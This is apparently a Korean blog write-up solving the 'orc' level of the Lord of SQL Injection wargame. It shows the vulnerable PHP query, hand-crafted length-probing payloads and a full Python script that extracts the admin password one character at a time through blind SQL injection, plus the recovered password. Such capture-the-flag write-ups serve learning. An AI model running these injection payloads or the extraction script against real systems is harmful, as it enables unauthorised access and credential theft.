워게임/Lord Of Sql Injection

Lord Of Sql Injection orc 4번문제

흠.... 개인적으로 이문제는 Blind Sqli 로서, 코딩을 해야되는 문제이다.

(web은 파이썬이 쉬운듯.....)

 

우선, 문제를 보면은

 

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

이런 코드가 되어있는데 이번문제의 특징은, admin계정의 pw를 알아내야 문제가 풀린다는것이다.

 

$query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"
echo 
"<hr>query : <strong>{$query}</strong><hr><br>"

하지만, 쿼리가 참이기만 하더라도 Hello admin을 출력해주기에 이부분을 이용하면 된다.

 

우선, blind sqli 를 풀기전에

 

http://kcats.tistory.com/121   정리가 굉장히 잘 되어있기에, 읽어보도록하자.

 

blind sqli에 많이쓰이는 length가 필터링이 안되어 있기에, 쉽게 풀 수 있다.

 

우선, length를 이용하여 pw의 길이를 뽑아내보도록 하자. pw의 길이가 참이라면 Hello admin을 출력할것이다.

 

pw 길이는 코딩을 안하고 직접 날릴거다. 

 

대충 파라미터는 ?pw=' or length(pw)=1%23 이런식으로 작성하면 되겠다.

 

우선, 길이를 1로 날려보겠다. =>?pw=' or length(pw)=1%23

 

1은 아닌가보다....

 

7까지 해보고도 안나와서 파이썬으로 코딩을 할까 생각하던 도중... 8을 날려보았다.

 

=>?pw=' or length(pw)=8%23

 

올 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개이득

 

쨌든 이렇게 pw길이는 8이라는것을 알았다. 이제 이 pw길이를 이용하여 pw값을 뽑아내도록 해보겠다.

 

========================================================================

 

(pw길이를 구하는 이유는, 구하는 시간을 줄이기 위해서이다.

 

pw길이를 모른다면 짜피 Burte Force를 하는것이기에 길이가 1일때, 2일때, 3일때.... 이런식으로 다 돌아야 하는데,

 

length를 알면 8일때만 돌리면 되기때문이다.)

 

========================================================================

 

이제 본격적으로 파이썬을 이용한 코딩을 해보도록 하자.

 

 

좋아좋아 잘되네 :)

 

import string
from requests import get

cookies=dict(PHPSESSID="vptvkee3h43ptd18bcns6v4o61") #Input Your_Cookie !
idLength=8
url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
abc = string.digits + string.ascii_letters

print("\n\n#### Starting Blind SQL Injection ####\n")
result=''
for i in range(1, idLength+1):
    for a in abc:
        param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw, " + str(i) + ", 1))=" + str(ord(a)) + "%23"
        new_url = url + param
        req = get(new_url, cookies=cookies)

        if req.text.find("<h2>Hello admin</h2>") > 0:
            print(str(i) + "st char is '" + a + "'").encode('utf-8')
            result += a
            break
print '='*20
print "result : " + result

엄청 간단....? 하다

 

orc.py

 

파일도 올려본다.

 

결과도 잘 나온다.

 

이제 pw값을 알아냈으니, ?pw=295d5844 를 해보자!

 

 

이렇게 끝이났다. 뭐 코딩을 해야하는 부분도 있었지만 꽤 쉬운 문제였다.

 

스스로 코딩을 할 수 있는 능력을 기르자 !!!